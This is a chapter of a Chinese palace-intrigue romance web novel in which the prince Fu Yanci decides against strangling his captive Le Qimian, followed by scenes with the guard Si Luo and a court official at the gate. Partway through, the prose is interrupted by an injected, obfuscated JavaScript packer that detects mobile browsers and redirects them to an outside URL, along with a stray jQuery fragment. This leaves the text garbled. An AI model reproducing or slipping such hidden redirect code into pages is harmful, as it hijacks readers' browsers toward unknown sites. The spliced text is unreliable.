57. 丝萝

作品:《渣了偏执男主后

    傅厌辞离开浴室时,崔烈正等在门外。


    “属下已将乐氏女送往隔间,但有一事,还需禀报殿下,”崔烈略显迟疑,“闻七郎之死没有打消国相的疑虑,他又上禀陛下,催促龙神卫尽快送郡王入京。”


    谎言只暂时逼退了闻仲达,追捕乐绮眠这些天,他没有放过龙神卫,若不能按期将郡王送入京中,傅厌辞和龙神卫,都有麻烦。


    崔烈边想边说:“那名杀手恐怕也在针对殿下,而今只有两计可以脱困。”


    “那名白衣人出现的时机太巧,只怕与刺杀脱不了干系。上策,抓到对方,交给陛下。但坏的是,小船上的侍卫先后自尽,没有留下线索。”


    傅厌辞倒了茶,道:“另一计?”


    崔烈按住腰间佩剑,瞥过隔间,放轻声音。


    “乐氏女残害郡王,返回大梁免不了一死,不如由龙神卫动手,再以误杀之名上禀陛下,陛下或许会追责,但比起消息走漏,已经算中策。”


    先斩后奏,至多算越权,但傅厌辞在泽州的行踪泄露,后果不堪设想。崔烈不想杀一个弱质女子,但有时候,不得不杀一些人,来阻止更多人死去。


    傅厌辞不置可否,转道:“这件事随时可以办,有一件事,你先去做。”


    崔烈道:“殿下请说。”


    傅厌辞将一封信推至案前:“将它交给杜荃。”


    崔烈微微一怔,上前接过。


    杜荃此人,是上一任教首在世时被俘入燕的鬼鹫人,入内侍省后,因为处事灵活,又通晓书文,逐步升任至内库都提点,得到天狩帝信重。


    他与迦楼罗因教务相识,曾是虔诚的日月教信徒,但因教首行事日益激进,最终与众人分道扬镳。傅厌辞与迦楼罗被囚辟寒台时,他对二人多有帮衬,现在也与龙神卫有所往来。给他送信,只有一个可能。


    “殿下担心国相不肯罢休,”崔烈将信收在腰间,温声反问,“打算请杜公公从中斡旋?”


    傅厌辞的确有这个打算,但更重要的,是通过杜荃探明圣意。


    杜荃在御前侍奉,对朝廷风向了如指掌,任务失败,天狩帝打算如何处置龙神卫,从回信的态度里,也能窥见一斑。


    崔烈送走文书后,傅厌辞推开隔间的竹门,走到榻边。


    这几日,乐绮眠昼夜奔波,又受了寒,挨到床榻便睡了过去,藕白的脖颈敞露在外,没有设防。


    傅厌辞的影子落在她身周,榻前那面铜镜倒映出两人交错的轮廓,随着他的靠近,乐绮眠如同被圈禁在镜中。


    既然迟早会牺牲,不如死在他手中。


    傅厌辞疏离地注视着她,一种异样的情绪漫上心口。就像逼死闻七郎,为了生存,他可以变成麻木的刽子手,至于乐绮眠,不过是获取军权路上的小小牺牲品。


    动手。


    一切都驱使他将双手按在她颈上,像折断野雀的羽翼,让它再无反抗的可能。


    动手——


    再口齿伶俐的人,脖颈也脆弱不堪。傅厌辞将手放在她颈间,感受到她滚烫、蓬勃的心跳,听到皮肤下血液的流动,也清醒地知道,一刻后,这一切都会消失。


    “嗯……”也许做了噩梦,乐绮眠忽然将脸埋进被中,蹭了蹭被面,转过身去。


    傅厌辞的手来不及收回,那唇陡然擦过拇指,又轻又快。他尚未做出反应,已像被火舌舔舐,从手指僵到了脊背。


    ——她亲他不为任务,只因想这么做。


    如果乐绮眠没有说过这句话,他可以将之当成意外的触碰,可唇齿碰到脸颊的感觉清晰,记忆无法欺骗自己。


    傅厌辞的皮肤顿时有如灼烧,热度沿着后背迅速攀升。从前,他只知道羲和会带来焚身的疼痛,可没有人说过,她的吻也能做到。


    杀了她?


    细雪扑打窗扇,拂动案前烛火,火光轻轻摇晃,像没有间歇的心跳。


    傅厌辞突然低了头,鼻梁抵到她颈间。


    他能记住她的气味,如依靠嗅觉生存的兽,不论她逃到何处,都能凭借气味找到她。


    如果这场游戏必须有一个结局,这结局为何不能由他精心书写?与其让她轻易死去,潦草收尾,至少在性命结束前,不论厌恶或憎恨,她记住的不是旁人,而是傅厌辞。


    这就够了。


    许久,烛火中的人影消失,留在被间的压痕也被复原,仿佛不曾有人来过。


    而模糊的风雪声中,帐帘发出窸窣响动,忽被一只手挑开一角,露出双清澈透亮的眼眸。


    乐绮眠看向傅厌辞离去的方向,眼底没有睡意,碰到颈后,若有所思。


    ***


    辟寒台寥无人烟,天亮后,宅院也异常阒静。乐绮眠听到佩剑撞击腰带的响动,才从榻上醒转,抬首看去。


    和她猜测的不同,来人不是傅厌辞,而是丝萝。


    “这是早饭,”丝萝腰佩长剑,手扶托盘,“用完随我到另一间房沐浴。”


    乐绮眠睡相很差,蓬乱的长发堆在脑后,随手划拨几下,笑道:“是你啊。”


    上次被傅厌辞点拨,丝萝才发现,她蓄意接近是在套话,如今见她面露笑容,顿觉她不怀好意,退后几步。


    “我右手被锁,”乐绮眠抬起手臂,向她展示扣在床柱的锁链,“要过去恐怕有些困难。”


    军令如山,但不近身,又没法给她送饭。丝萝犯了难,看到桌案,忽生一计。


    乐绮眠就见丝萝将托盘放在桌案,隔着老远,将桌面推往榻边。


    乐绮眠:“......”


    她轻叹一声,抓起筷子,低头用饭。等磨磨蹭蹭解决早膳,丝萝上前解开镣铐,将她带往浴池。


    出逃这些天,乐绮眠风尘仆仆,醒来后,又发现那件披风不知去向。辟寒台只有一处浴池,就在隔壁。她从屋中路过,正思考傅厌辞人在何处,浴池就到了。


    丝萝说:“我就在门外,你结束后,开口叫我。”


    “等等,”乐绮眠解了外衣,叫住她,“你就这么走了?”


    丝萝回头,那意思是:不然?


    乐绮眠倚在池边,作捧心状:“我被你们殿下折磨了一夜,身体虚弱,万一晕在浴池,你可来不及施救。”


    她说起瞎话眼也不眨,眼睫暧昧地翕动几下,似幽怨,又似控诉,丝萝立刻道:“不得胡言!”


    丝萝几乎脱口而出,说完,才想起傅厌辞的禁令,面色一僵。


    乐绮眠欣然笑开:“可喜可贺,你终于肯理我了。不过,我说的折磨是将人关在房中,你想到哪里去了?”


    丝萝发觉自己上当,木着脸,破罐破摔:“殿下不会折磨刑犯,你撒谎。”


    乐绮眠打趣道:“不会折磨刑犯?那你就小看他了。你方才没看见,他将我锁在床头,处处受限?”


    丝萝说:“那是因为......”


    因为什么?辟寒台是傅厌辞在燕陵的旧居,除了贴身近卫,他从未将外人带到此地。乐绮眠不仅住了进来,还宿在隔间,这已经不是看管犯人能解释得通。


    她与傅厌辞,的确有些异常。


    乐绮眠看她脸颊涨红,窘迫万分,不再逗她,步入水中。


    丝萝在门前踟蹰良久,想到崔烈的叮嘱,终是上前,拿起一把牛角梳,从水中捞起她的长发。


    乐绮眠说:“这也是命令?”


    丝萝垂下目光,平静道:“你没有几日可活,与其问无关紧要之事,不如过好最后几日。”


    乐绮眠心想,连威胁人的口吻也像,她和傅厌辞当真是乌铎一双好徒弟。


    “真正的杀手尚未落网,你便说我是将死之人,”乐绮眠看向丝萝在水中的倒影,心念闪动,“看来龙神卫寻不到凶手,打算以我祭旗了。”


    崔烈调查过,将她从船上带走那人,极可能是毒杀郡王的凶手。但对方趁乱逃脱,没留下任何线索,天狩帝又催促使团入京,再迁延,受损的是龙神卫。


    沐浴毕,乐绮眠换上旧衣,扫了一圈,准备到镜前梳头。


    然而,她的身影刚落入镜中,骤然想起,傅厌辞昨夜就是站在这里,注视她良久,又凑到她颈间,低头嗅闻。


    等反应过来,发髻已经梳得歪七扭八。


    乐绮眠:“……”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555712|167077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    丝萝道:“你不会梳头?”


    她狐疑地看向乐绮眠。


    乐绮眠恢复正色:“是右手不便,劳驾你帮我一回。”


    丝萝可能没想到,她还有给人犯梳头的一日,默了半晌,才接过木梳。


    让人意外的是,丝萝梳发的手艺纯熟,不输宫中女官。她先给乐绮眠挽好发髻,戴上莲花纹的宝冠,又插上步摇,让冠带自然垂落。


    乐绮眠说:“你这般熟练,应当练习了许多回?”


    丝萝不冷不热道:“不是人人都有长辈照养,有人七岁便要自己梳头,有人十几岁还要需旁人帮忙,你觉得呢。”


    乐绮眠“咦”一声,抱歉道:“原来如此,这个发式,是你自己钻研?”


    丝萝说:“这是鬼鹫未婚女子常梳的发髻,非我独创。”


    原是人人都会的发式。


    乐绮眠之所以问起,是偶然想到,江别鹤曾给她梳过类似的发髻。不过,她少时生活在应州,两国往来通商,有买卖鬼鹫奴仆者,有通婚者,她或许见过这样的发式,所以在她身上一试。


    乐绮眠满意地弹了弹发冠,笑道:“我再没见过比你心灵手巧的人,多谢你啦。”


    丝萝还是冷着脸,但耳尖微红:“你为何还能笑出来?”


    她似乎很不能理解。


    乐绮眠道:“为何不能笑出来?”


    丝萝说:“此次谈判,名为议和,实为麻痹大梁。两国不久又将再战,以梁庭的战意,投降只是时间问题。苍人恨极了武安侯,他也不受梁君信重,下场不会好。你任务失败,又即将死在北苍,为何还能笑出来?”


    正如她所说,大梁累年内斗,君臣无心战事,只靠乐家军,无法与北苍抗衡。


    乐绮眠道:“这不是还没死,也还没投降?何况人早晚有一死,过一日算一日,何必为未来之事忧虑?”


    丝萝断然道:“你这是麻痹自我。”


    乐绮眠说:“你就当是麻痹自我好了。但乌铎对抗闻氏,也如螳臂当车,难道实力不济,你就会放弃抵挡?”


    丝萝默然。


    乐绮眠却没有放过她,笑着凑前:“好了,带我去见你们殿下,我有话要说。”


    丝萝涨红了脸,警告道:“你先退开。”


    乐绮眠偏不退:“让我退开?也可以,告诉我他现在何处。”


    她不断接近,丝萝面对这幅刀枪不入的脸皮,终于道:“他在鹰舍,但……你!”


    乐绮眠从善如流,转身就走。


    丝萝忙跟上前,生怕她惹出事端,祸及自己,但刚走到院中,喧哗声忽起。


    “这是殿下私邸,无令不得擅入,萧大人,你僭越了。”


    大门前,崔烈在与一纵士兵对峙。


    一名金冠红袍的男子站在门前,被龙神卫拦下,并不拔剑,相反笑道:“使臣入京之期将至,萧某奉国相之令迎接外使,四殿下不将使臣送入班荆馆,却送入辟寒台,是何意呢?”


    他口中的班荆馆,是北苍专为使节准备的下榻之处,傅厌辞将使臣带入辟寒台的做法其实有违军令,但无人敢于置喙,对方今日找上门,正是看准这点。


    乐绮眠好奇道:“此人是谁?”


    丝萝也看到了对方,脸色有些不好:“他是闻仲达的副官,现在的萧家家主萧蟠,萧潜鸣。”


    龙神卫昨日才安置好使团,萧蟠今日就出现在辟寒台,未免太巧。但不待细思,崔烈已道:“不瞒萧大人,龙神卫在海上遇袭,郡王负伤,不得已在台内养伤,并非殿下执意如此。”


    这几乎是直斥闻仲达,萧蟠却笑说:“养伤?伤在何处?萧某诚心以待,难道下榻一见的力气也没有?”


    崔烈道:“并非郡王不......”


    “还有,”萧蟠直接打断,唇角弧度微讽,不给他反应的机会,“萧某听闻,武安侯之女也在团中。她是闻家的老熟人,国相早就想一见,郡王无法亲至便算了——”


    如同嗅到猎物的狐狸,他目光陡地穿过门扉,准确捕捉到廊下的乐绮眠。


    “这位,总不至于也负伤在榻?”